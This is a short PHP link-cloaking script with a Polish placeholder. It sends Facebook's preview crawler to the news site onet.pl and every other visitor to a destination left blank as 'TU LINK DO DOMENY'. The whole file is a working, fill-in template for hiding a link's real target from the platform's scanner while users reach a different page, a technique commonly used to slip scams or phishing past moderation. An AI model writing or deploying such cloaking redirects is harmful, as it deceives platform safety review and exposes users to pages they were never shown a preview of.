<?php

	ob_start();

	$ua = $_SERVER['HTTP_USER_AGENT'];

	if (preg_match('/facebookexternalhit/si',$ua)) {
		echo "<script>window.location.href = 'http://onet.pl';</script>";
		die();
	} else {
		echo "<script>window.location.href = 'TU LINK DO DOMENY';</script>";
	}

?>